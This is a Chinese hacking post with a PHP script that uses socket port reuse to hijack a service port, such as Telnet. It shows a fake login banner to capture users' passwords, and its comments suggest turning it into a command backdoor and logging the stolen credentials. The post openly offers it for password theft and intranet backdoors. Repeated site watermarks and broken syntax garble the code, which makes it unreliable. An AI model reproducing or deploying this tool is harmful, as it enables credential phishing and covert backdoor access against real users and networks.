假如监听127.0.0.1 ,访问共网IP不受影响,假如监听公网IP,127。0。0。1等IP不受影响。 这个可以用于欺骗用户密码,因为原来的服务不可用了。或者留成针对内网用户的后门。 最后欢迎加MSN:CQXY[AT]21CN。NET赐教。 #!/usr/bin/php -q #c0dz by Darkness[BST] #Team:www.bugkidz.org #E-mail:cqxy[at]21cn.net if ($argc != 3 || in_array($argc[1] , array('--help','-h','?'))) { echo "Use:#./$argv[0] www.bugkidz.org 192.168.0.1 21rn"; echo "c0dz By Darkness[BST]"; exit; } error_reporting(E_ALL);www.chinaitpower.comKpe1K set_time_limit(0);www.chinaitpower.comKpe1K ob_implicit_flush();www.chinaitpower.comKpe1K $host = $argv[1]; $port = $argv[2]; if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) <0) { echo "socket_create() failed: reason: " . socket_strerror($sock) . "n"; } /*建立SOCKET*/ socket_set_option($sock,SOL_SOCKET,SO_REUSEADDR,1); /*设置SOCKET连接的属性为SO_REUSEADDR,这样才可以端口复用*/ if (($ret = socket_bind($sock, $host, $port)) <0) { echo "socket_bind() failed: reason: " . socket_strerror($ret) . "n"; }/*绑定端口*/www.chinaitpower.comKpe1K if (($ret = socket_listen($sock, 5)) <0) { echo "socket_listen() failed: reason: " . socket_strerror($ret) . "n"; } /*开始监听*/www.chinaitpower.comKpe1K while(true) {www.chinaitpower.comKpe1K if (($sniffer = socket_accept($sock)) <0) { echo "socket_accept() failed: reason: " . socket_strerror($sniffer) . "n"; break; } if ($port == 23) { $txt = "Welcome to the Telnet Serverrn"; $txt .="User:rn"; socket_write($sniffer, $txt, strlen($txt)); } /*这里是伪装信息,把自己伪装成原来的TELNET服务器,这样来骗取密码*/www.chinaitpower.comKpe1K while(true) {www.chinaitpower.comKpe1K if(($buf _read($sniffer">=@socket_read($sniffer, 2048, PHP_BINARY_READ)) ==false) {www.chinaitpower.comKpe1K break;www.chinaitpower.comKpe1K }www.chinaitpower.comKpe1K if (!$buf = trim($buf)) { continue; }www.chinaitpower.comKpe1K if ($buf == '!quit') { break; } if ($buf == '!shutdown') { socket_close($sniffer); break 2; /*其实这里可以调用system(),搞成一个CMD后门,反正你想怎么改都可以*/ }www.chinaitpower.comKpe1K $sniff_data = "$bufrn";www.chinaitpower.comKpe1K /* else socket_write($sniffer, $sniff_data, strlen($sniff_data));*/ echo $sniff_data; /*输出字符串,这里可以加进文件处理,保存密码什么的*/ } socket_close($sniffer);www.chinaitpower.comKpe1K } socket_close($resock); socket_close($sock); ?> www.chinaitpower.comKpe1Kphpfans.net收集整理 |